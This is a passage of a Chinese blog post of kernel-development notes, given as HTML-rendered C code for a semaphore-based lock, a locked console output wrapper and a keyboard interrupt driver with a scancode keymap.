list_push(&amp;thread_ready_list, &amp;pthread-&gt;general_tag);    <span class="comment">// 放到队列的最前面,使其尽快得到调度</span></span><br><span class="line">        pthread-&gt;status = TASK_READY;</span><br><span class="line">   &#125;   </span><br><span class="line">   intr_set_status(old_status);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>信号量锁的结构如下，实现在thread/sync.c和.h，信号量仅仅是一个编程理念，实现功能即可</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 信号量结构 */</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">semaphore</span> </span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line">   <span class="keyword">uint8_t</span>  value;</span><br><span class="line">   <span class="class"><span class="keyword">struct</span>   <span class="title">list</span> <span class="title">waiters</span>;</span></span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 锁结构 */</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">lock</span> </span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line">   task_struct* holder; <span class="comment">// 锁的持有者</span></span><br><span class="line">   <span class="class"><span class="keyword">struct</span>   <span class="title">semaphore</span> <span class="title">semaphore</span>;</span> <span class="comment">// 用二元信号量实现锁</span></span><br><span class="line">   <span class="keyword">uint32_t</span> holder_repeat_nr; <span class="comment">// 锁的持有者重复申请锁的次数</span></span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>初始化就是给各个字段赋值</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 初始化信号量 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">sema_init</span><span class="params">(struct semaphore* psema, <span class="keyword">uint8_t</span> value)</span> </span>&#123;</span><br><span class="line">   psema-&gt;value = value;       <span class="comment">// 为信号量赋初值</span></span><br><span class="line">   list_init(&amp;psema-&gt;waiters); <span class="comment">//初始化信号量的等待队列</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 初始化锁plock */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">lock_init</span><span class="params">(struct lock* plock)</span> </span>&#123;</span><br><span class="line">   plock-&gt;holder = <span class="literal">NULL</span>;</span><br><span class="line">   plock-&gt;holder_repeat_nr = <span class="number">0</span>;</span><br><span class="line">   sema_init(&amp;plock-&gt;semaphore, <span class="number">1</span>);  <span class="comment">// 信号量初值为1</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>P操作</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 信号量down操作 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">sema_down</span><span class="params">(struct semaphore *psema)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="comment">/* 关中断来保证原子操作 */</span></span><br><span class="line">    <span class="keyword">enum</span> intr_status old_status = intr_disable();</span><br><span class="line">    <span class="keyword">while</span> (psema-&gt;value == <span class="number">0</span>)</span><br><span class="line">    &#123; </span><br><span class="line">        <span class="comment">// 若value为0,表示已经被别人持有</span></span><br><span class="line">        ASSERT(!elem_find(&amp;psema-&gt;waiters, &amp;running_thread()-&gt;general_tag));</span><br><span class="line">        <span class="comment">/* 当前线程不应该已在信号量的waiters队列中 */</span></span><br><span class="line">        <span class="keyword">if</span> (elem_find(&amp;psema-&gt;waiters, &amp;running_thread()-&gt;general_tag))</span><br><span class="line">        &#123;</span><br><span class="line">            PANIC(<span class="string">"sema_down: thread blocked has been in waiters_list\n"</span>);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment">/* 若信号量的值等于0,则当前线程把自己加入该锁的等待队列,然后阻塞自己 */</span></span><br><span class="line">        list_append(&amp;psema-&gt;waiters, &amp;running_thread()-&gt;general_tag);</span><br><span class="line">        thread_block(TASK_BLOCKED); <span class="comment">// 阻塞线程,直到被唤醒</span></span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">/* 若value为1或被唤醒后,会执行下面的代码,也就是获得了锁。*/</span></span><br><span class="line">    psema-&gt;value--;</span><br><span class="line">    ASSERT(psema-&gt;value == <span class="number">0</span>);</span><br><span class="line">    <span class="comment">/* 恢复之前的中断状态 */</span></span><br><span class="line">    intr_set_status(old_status);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>V操作</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 信号量的up操作 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">sema_up</span><span class="params">(struct semaphore *psema)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="comment">/* 关中断,保证原子操作 */</span></span><br><span class="line">    <span class="keyword">enum</span> intr_status old_status = intr_disable();</span><br><span class="line">    ASSERT(psema-&gt;value == <span class="number">0</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (!list_empty(&amp;psema-&gt;waiters))</span><br><span class="line">    &#123;</span><br><span class="line">        task_struct *thread_blocked = elem2entry(task_struct, general_tag, list_pop(&amp;psema-&gt;waiters));</span><br><span class="line">        thread_unblock(thread_blocked);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    psema-&gt;value++;</span><br><span class="line">    ASSERT(psema-&gt;value == <span class="number">1</span>);</span><br><span class="line">    <span class="comment">/* 恢复之前的中断状态 */</span></span><br><span class="line">    intr_set_status(old_status);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>获取锁和释放锁</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 获取锁plock */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">lock_acquire</span><span class="params">(struct lock *plock)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="comment">/* 排除曾经自己已经持有锁但还未将其释放的情况。*/</span></span><br><span class="line">    <span class="keyword">if</span> (plock-&gt;holder != running_thread()) <span class="comment">// 排除死锁的情况</span></span><br><span class="line">    &#123;</span><br><span class="line">        sema_down(&amp;plock-&gt;semaphore); <span class="comment">// 对信号量P操作,原子操作,信号量减一</span></span><br><span class="line">        plock-&gt;holder = running_thread();</span><br><span class="line">        ASSERT(plock-&gt;holder_repeat_nr == <span class="number">0</span>);</span><br><span class="line">        plock-&gt;holder_repeat_nr = <span class="number">1</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">    &#123;</span><br><span class="line">        plock-&gt;holder_repeat_nr++;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 释放锁plock */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">lock_release</span><span class="params">(struct lock *plock)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    ASSERT(plock-&gt;holder == running_thread());</span><br><span class="line">    <span class="keyword">if</span> (plock-&gt;holder_repeat_nr &gt; <span class="number">1</span>)</span><br><span class="line">    &#123;</span><br><span class="line">        plock-&gt;holder_repeat_nr--;</span><br><span class="line">        <span class="keyword">return</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    ASSERT(plock-&gt;holder_repeat_nr == <span class="number">1</span>);</span><br><span class="line"></span><br><span class="line">    plock-&gt;holder = <span class="literal">NULL</span>; <span class="comment">// 把锁的持有者置空放在V操作之前</span></span><br><span class="line">    plock-&gt;holder_repeat_nr = <span class="number">0</span>;</span><br><span class="line">    sema_up(&amp;plock-&gt;semaphore); <span class="comment">// 信号量的V操作,也是原子操作</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>接下来需要对锁进行测试，我们需要对终端输出进行封装，基本上都是对锁的使用，没什么好说的</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"console.h"</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"print.h"</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"stdint.h"</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"sync.h"</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"thread.h"</span></span></span><br><span class="line"><span class="keyword">static</span> <span class="class"><span class="keyword">struct</span> <span class="title">lock</span> <span class="title">console_lock</span>;</span>    <span class="comment">// 控制台锁</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* 初始化终端 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">console_init</span><span class="params">()</span> </span>&#123;</span><br><span class="line">  lock_init(&amp;console_lock); </span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 获取终端 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">console_acquire</span><span class="params">()</span> </span>&#123;</span><br><span class="line">   lock_acquire(&amp;console_lock);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 释放终端 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">console_release</span><span class="params">()</span> </span>&#123;</span><br><span class="line">   lock_release(&amp;console_lock);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 终端中输出字符串 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">console_put_str</span><span class="params">(<span class="keyword">char</span>* str)</span> </span>&#123;</span><br><span class="line">   console_acquire(); </span><br><span class="line">   put_str(str); </span><br><span class="line">   console_release();</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 终端中输出字符 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">console_put_char</span><span class="params">(<span class="keyword">uint8_t</span> char_asci)</span> </span>&#123;</span><br><span class="line">   console_acquire(); </span><br><span class="line">   put_char(char_asci); </span><br><span class="line">   console_release();</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 终端中输出16进制整数 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">console_put_int</span><span class="params">(<span class="keyword">uint32_t</span> num)</span> </span>&#123;</span><br><span class="line">   console_acquire(); </span><br><span class="line">   put_int(num); </span><br><span class="line">   console_release();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>然后在init文件添加初始化函数并在main文件进行测试，只需要将<code>put_str(&quot;...&quot;)</code>修改为<code>console_put_str(&quot;...&quot;)</code>，测试结果如下</p><p><img src="/2020/05/15/简单内核实现笔记-part-3/71.png" alt="image-20200526104424200"></p><h2 id="键盘获取输入输出"><a href="#键盘获取输入输出" class="headerlink" title="键盘获取输入输出"></a>键盘获取输入输出</h2><p>键盘的输入和输出主要是对8042和8048芯片的操作，这两芯片的数据在P456页开始有介绍，主要是对端口0x60的操作，其作为IO缓冲区，关系如下</p><p><img src="/2020/05/15/简单内核实现笔记-part-3/72.png" alt="image-20200526104424200"></p><p>我们将键盘的输入根据键盘扫描码(P462)进行转换，最终需要将其转换为我们键盘按下字符对应的ASCII码。其本质就是，键盘中断处理程序负责接收按键信息，也就是扫描码，然后就是对扫描码的处理，我们将用驱动程序对其进行实现，需要分两个阶段完成</p><ul><li>如果是一些用于操作方面的控制键，比如shift，crtl等，就交给键盘驱动中完成</li><li>如果是一些用于字符方面的键，就直接交给字符处理程序完成即可</li></ul><p>我们在device/keyboard.c和.h中实现，其中对于操作控制键和其他键配合按下的情况，比如crtl+a这种就需要定义一个变量判断之前是否已经按下crtl键，对于shift组合字符我们用的是二维数组保存，如shift+1显示的是 ! 字符</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 定义以下变量记录相应键是否按下的状态,</span></span><br><span class="line"><span class="comment"> * ext_scancode用于记录makecode是否以0xe0开头 */</span></span><br><span class="line"><span class="keyword">static</span> <span class="keyword">bool</span> ctrl_status, shift_status, alt_status, caps_lock_status, ext_scancode;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 以通码make_code为索引的二维数组 */</span></span><br><span class="line"><span class="keyword">static</span> <span class="keyword">char</span> keymap[][<span class="number">2</span>] = &#123;</span><br><span class="line"><span class="comment">/* 扫描码   未与shift组合  与shift组合*/</span></span><br><span class="line"><span class="comment">/* ---------------------------------- */</span></span><br><span class="line"><span class="comment">/* 0x00 */</span>&#123;<span class="number">0</span>,<span class="number">0</span>&#125;,</span><br><span class="line"><span class="comment">/* 0x01 */</span>&#123;esc,esc&#125;,</span><br><span class="line"><span class="comment">/* 0x02 */</span>&#123;<span class="string">'1'</span>,<span class="string">'!'</span>&#125;,</span><br><span class="line"><span class="comment">/* 0x03 */</span>&#123;<span class="string">'2'</span>,<span class="string">'@'</span>&#125;,</span><br><span class="line"><span class="comment">/* 0x04 */</span>&#123;<span class="string">'3'</span>,<span class="string">'#'</span>&#125;,</span><br><span class="line"><span class="comment">/* 0x05 */</span>&#123;<span class="string">'4'</span>,<span class="string">'$'</span>&#125;,</span><br><span class="line"><span class="comment">/* 0x06 */</span>&#123;<span class="string">'5'</span>,<span class="string">'%'</span>&#125;,</span><br><span class="line"><span class="comment">/* 0x07 */</span>&#123;<span class="string">'6'</span>,<span class="string">'^'</span>&#125;,</span><br><span class="line"><span class="comment">/* 0x08 */</span>&#123;<span class="string">'7'</span>,<span class="string">'&amp;'</span>&#125;,</span><br><span class="line"><span class="comment">/* 0x09 */</span>&#123;<span class="string">'8'</span>,<span class="string">'*'</span>&#125;,</span><br><span class="line"><span class="comment">/* 0x0A */</span>&#123;<span class="string">'9'</span>,<span class="string">'('</span>&#125;,</span><br><span class="line"><span class="comment">/* 0x0B */</span>&#123;<span class="string">'0'</span>,<span class="string">')'</span>&#125;,</span><br><span class="line"><span class="comment">/* 0x0C */</span>&#123;<span class="string">'-'</span>,<span class="string">'_'</span>&#125;,</span><br><span class="line"><span class="comment">/* 0x0D */</span>&#123;<span class="string">'='</span>,<span class="string">'+'</span>&#125;,</span><br><span class="line"><span class="comment">/* 0x0E */</span>&#123;backspace, backspace&#125;,</span><br><span class="line"><span class="comment">/* 0x0F */</span>&#123;tab,tab&#125;,</span><br><span class="line"><span class="comment">/* 0x10 */</span>&#123;<span class="string">'q'</span>,<span class="string">'Q'</span>&#125;,</span><br><span class="line"><span class="comment">/* 0x11 */</span>&#123;<span class="string">'w'</span>,<span class="string">'W'</span>&#125;,</span><br><span class="line"><span class="comment">/* 0x12 */</span>&#123;<span class="string">'e'</span>,<span class="string">'E'</span>&#125;,</span><br><span class="line"><span class="comment">/* 0x13 */</span>&#123;<span class="string">'r'</span>,<span class="string">'R'</span>&#125;,</span><br><span class="line"><span class="comment">/* 0x14 */</span>&#123;<span class="string">'t'</span>,<span class="string">'T'</span>&#125;,</span><br><span class="line"><span class="comment">/* 0x15 */</span>&#123;<span class="string">'y'</span>,<span class="string">'Y'</span>&#125;,</span><br><span class="line"><span class="comment">/* 0x16 */</span>&#123;<span class="string">'u'</span>,<span class="string">'U'</span>&#125;,</span><br><span class="line"><span class="comment">/* 0x17 */</span>&#123;<span class="string">'i'</span>,<span class="string">'I'</span>&#125;,</span><br><span class="line"><span class="comment">/* 0x18 */</span>&#123;<span class="string">'o'</span>,<span class="string">'O'</span>&#125;,</span><br><span class="line"><span class="comment">/* 0x19 */</span>&#123;<span class="string">'p'</span>,<span class="string">'P'</span>&#125;,</span><br><span class="line"><span class="comment">/* 0x1A */</span>&#123;<span class="string">'['</span>,<span class="string">'&#123;'</span>&#125;,</span><br><span class="line"><span class="comment">/* 0x1B */</span>&#123;<span class="string">']'</span>,<span class="string">'&#125;'</span>&#125;,</span><br><span class="line"><span class="comment">/* 0x1C */</span>&#123;enter,  enter&#125;,</span><br><span class="line"><span class="comment">/* 0x1D */</span>&#123;ctrl_l_char, ctrl_l_char&#125;,</span><br><span class="line"><span class="comment">/* 0x1E */</span>&#123;<span class="string">'a'</span>,<span class="string">'A'</span>&#125;,</span><br><span class="line"><span class="comment">/* 0x1F */</span>&#123;<span class="string">'s'</span>,<span class="string">'S'</span>&#125;,</span><br><span class="line"><span class="comment">/* 0x20 */</span>&#123;<span class="string">'d'</span>,<span class="string">'D'</span>&#125;,</span><br><span class="line"><span class="comment">/* 0x21 */</span>&#123;<span class="string">'f'</span>,<span class="string">'F'</span>&#125;,</span><br><span class="line"><span class="comment">/* 0x22 */</span>&#123;<span class="string">'g'</span>,<span class="string">'G'</span>&#125;,</span><br><span class="line"><span class="comment">/* 0x23 */</span>&#123;<span class="string">'h'</span>,<span class="string">'H'</span>&#125;,</span><br><span class="line"><span class="comment">/* 0x24 */</span>&#123;<span class="string">'j'</span>,<span class="string">'J'</span>&#125;,</span><br><span class="line"><span class="comment">/* 0x25 */</span>&#123;<span class="string">'k'</span>,<span class="string">'K'</span>&#125;,</span><br><span class="line"><span class="comment">/* 0x26 */</span>&#123;<span class="string">'l'</span>,<span class="string">'L'</span>&#125;,</span><br><span class="line"><span class="comment">/* 0x27 */</span>&#123;<span class="string">';'</span>,<span class="string">':'</span>&#125;,</span><br><span class="line"><span class="comment">/* 0x28 */</span>&#123;<span class="string">'\''</span>,<span class="string">'"'</span>&#125;,</span><br><span class="line"><span class="comment">/* 0x29 */</span>&#123;<span class="string">'`'</span>,<span class="string">'~'</span>&#125;,</span><br><span class="line"><span class="comment">/* 0x2A */</span>&#123;shift_l_char, shift_l_char&#125;,</span><br><span class="line"><span class="comment">/* 0x2B */</span>&#123;<span class="string">'\\'</span>,<span class="string">'|'</span>&#125;,</span><br><span class="line"><span class="comment">/* 0x2C */</span>&#123;<span class="string">'z'</span>,<span class="string">'Z'</span>&#125;,</span><br><span class="line"><span class="comment">/* 0x2D */</span>&#123;<span class="string">'x'</span>,<span class="string">'X'</span>&#125;,</span><br><span class="line"><span class="comment">/* 0x2E */</span>&#123;<span class="string">'c'</span>,<span class="string">'C'</span>&#125;,</span><br><span class="line"><span class="comment">/* 0x2F */</span>&#123;<span class="string">'v'</span>,<span class="string">'V'</span>&#125;,</span><br><span class="line"><span class="comment">/* 0x30 */</span>&#123;<span class="string">'b'</span>,<span class="string">'B'</span>&#125;,</span><br><span class="line"><span class="comment">/* 0x31 */</span>&#123;<span class="string">'n'</span>,<span class="string">'N'</span>&#125;,</span><br><span class="line"><span class="comment">/* 0x32 */</span>&#123;<span class="string">'m'</span>,<span class="string">'M'</span>&#125;,</span><br><span class="line"><span class="comment">/* 0x33 */</span>&#123;<span class="string">','</span>,<span class="string">'&lt;'</span>&#125;,</span><br><span class="line"><span class="comment">/* 0x34 */</span>&#123;<span class="string">'.'</span>,<span class="string">'&gt;'</span>&#125;,</span><br><span class="line"><span class="comment">/* 0x35 */</span>&#123;<span class="string">'/'</span>,<span class="string">'?'</span>&#125;,</span><br><span class="line"><span class="comment">/* 0x36*/</span>&#123;shift_r_char, shift_r_char&#125;,</span><br><span class="line"><span class="comment">/* 0x37 */</span>&#123;<span class="string">'*'</span>,<span class="string">'*'</span>&#125;,    </span><br><span class="line"><span class="comment">/* 0x38 */</span>&#123;alt_l_char, alt_l_char&#125;,</span><br><span class="line"><span class="comment">/* 0x39 */</span>&#123;<span class="string">' '</span>,<span class="string">' '</span>&#125;,</span><br><span class="line"><span class="comment">/* 0x3A */</span>&#123;caps_lock_char, caps_lock_char&#125;</span><br><span class="line"><span class="comment">/*其它按键暂不处理*/</span></span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>后面的函数都是对通码、断码、组合键的一些处理</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 键盘中断处理程序 */</span></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">void</span> <span class="title">intr_keyboard_handler</span><span class="params">(<span class="keyword">void</span>)</span> </span>&#123;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 这次中断发生前的上一次中断,以下任意三个键是否有按下 */</span></span><br><span class="line">   <span class="keyword">bool</span> ctrl_down_last = ctrl_status;  </span><br><span class="line">   <span class="keyword">bool</span> shift_down_last = shift_status;</span><br><span class="line">   <span class="keyword">bool</span> caps_lock_last = caps_lock_status;</span><br><span class="line"></span><br><span class="line">   <span class="keyword">bool</span> break_code;</span><br><span class="line">   <span class="keyword">uint16_t</span> scancode = inb(KBD_BUF_PORT);</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 若扫描码是e0开头的,表示此键的按下将产生多个扫描码,</span></span><br><span class="line"><span class="comment"> * 所以马上结束此次中断处理函数,等待下一个扫描码进来*/</span> </span><br><span class="line">   <span class="keyword">if</span> (scancode == <span class="number">0xe0</span>) &#123; </span><br><span class="line">      ext_scancode = <span class="literal">true</span>;    <span class="comment">// 打开e0标记</span></span><br><span class="line">      <span class="keyword">return</span>;</span><br><span class="line">   &#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 如果上次是以0xe0开头,将扫描码合并 */</span></span><br><span class="line">   <span class="keyword">if</span> (ext_scancode) &#123;</span><br><span class="line">      scancode = ((<span class="number">0xe000</span>) | scancode);</span><br><span class="line">      ext_scancode = <span class="literal">false</span>;   <span class="comment">// 关闭e0标记</span></span><br><span class="line">   &#125;   </span><br><span class="line"></span><br><span class="line">   break_code = ((scancode &amp; <span class="number">0x0080</span>) != <span class="number">0</span>);   <span class="comment">// 获取break_code</span></span><br><span class="line">   </span><br><span class="line">   <span class="keyword">if</span> (break_code) &#123;   <span class="comment">// 若是断码break_code(按键弹起时产生的扫描码)</span></span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 由于ctrl_r 和alt_r的make_code和break_code都是两字节,</span></span><br><span class="line"><span class="comment">   所以可用下面的方法取make_code,多字节的扫描码暂不处理 */</span></span><br><span class="line">      <span class="keyword">uint16_t</span> make_code = (scancode &amp;= <span class="number">0xff7f</span>);   <span class="comment">// 得到其make_code(按键按下时产生的扫描码)</span></span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 若是任意以下三个键弹起了,将状态置为false */</span></span><br><span class="line">      <span class="keyword">if</span> (make_code == ctrl_l_make || make_code == ctrl_r_make) &#123; <span class="comment">// crtl</span></span><br><span class="line"> ctrl_status = <span class="literal">false</span>;</span><br><span class="line">      &#125; <span class="keyword">else</span> <span class="keyword">if</span> (make_code == shift_l_make || make_code == shift_r_make) &#123; <span class="comment">// shift</span></span><br><span class="line"> shift_status = <span class="literal">false</span>;</span><br><span class="line">      &#125; <span class="keyword">else</span> <span class="keyword">if</span> (make_code == alt_l_make || make_code == alt_r_make) &#123; <span 